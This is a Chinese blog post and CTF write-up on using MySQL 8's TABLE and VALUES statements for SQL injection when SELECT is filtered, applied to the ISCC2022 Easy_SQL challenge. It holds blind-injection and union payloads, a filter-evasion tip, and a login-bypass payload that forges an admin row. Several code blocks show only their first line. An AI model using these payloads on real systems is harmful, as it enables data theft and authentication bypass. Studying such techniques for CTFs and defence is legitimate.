前言
之前就想写关于这方面的博客了,但是因为没怎么碰到一直没写。后来ISCC出现了这个知识点,因此还是觉得应该写写。
新增语法介绍
table语句
语法:
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
table语句的作用是列出表中的全部内容,可以说是select的平替了,我们在mysql中来试着使用一下:
1 | mysql> table users; |
可以看到两条命令的效果是一样的,当然根据语法,table后也可以加上order by以及limit指令进行输出:
1 | mysql> table users order by username; |
当然作为平替,联合查询也是支持的,同样的,列数必须相等才可以查询。但是,table语句不支持任何过滤,因此不支持where语句的使用。
values
语法:
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] |
values的语法看起来很复杂,但其实理解起来很简单,拿来造表的神器,我们来举个例子:
1 | mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8); |
同样这个函数可以使用order by进行排序:
1 | mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1; |
盲注
常规套路还是基本一致的,但是table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注。
比如我们注入数据库名:
1 | 1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1); |
要注意的是,如果注入时前一个字符判断不正确,那么就会整段垮掉,后面的也会变得不正确。注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出:
1 | ('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1); #判断错误 |
盲注payload:
1 | //爆表 |
如果过滤了常用的infor表,可以使用mysql.innodb_table_stats代替。
[ISCC2022]Easy_SQL
就拿这个最近的题复现下吧,刚开始是要我们找邮箱,URL中有一个id参数可以注入。题目设置了select过滤,因此使用table。
可以采用盲注法注入出表名为emails,使用联合注入找到压缩包名称:
1 | ?id=1 union table emails limit 7,1--+ |
下载下来是页面源码,查看关键部分代码:
1 | $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'"; |
当username为admin且对应密码正确时打印flag,那么我们就可以使用value来改变表的内容:
1 | username=admin' union values row(10,'admin',1)#&passwd=1 |
这样admin的passwd就相当于为1了,因此触发条件拿到flag。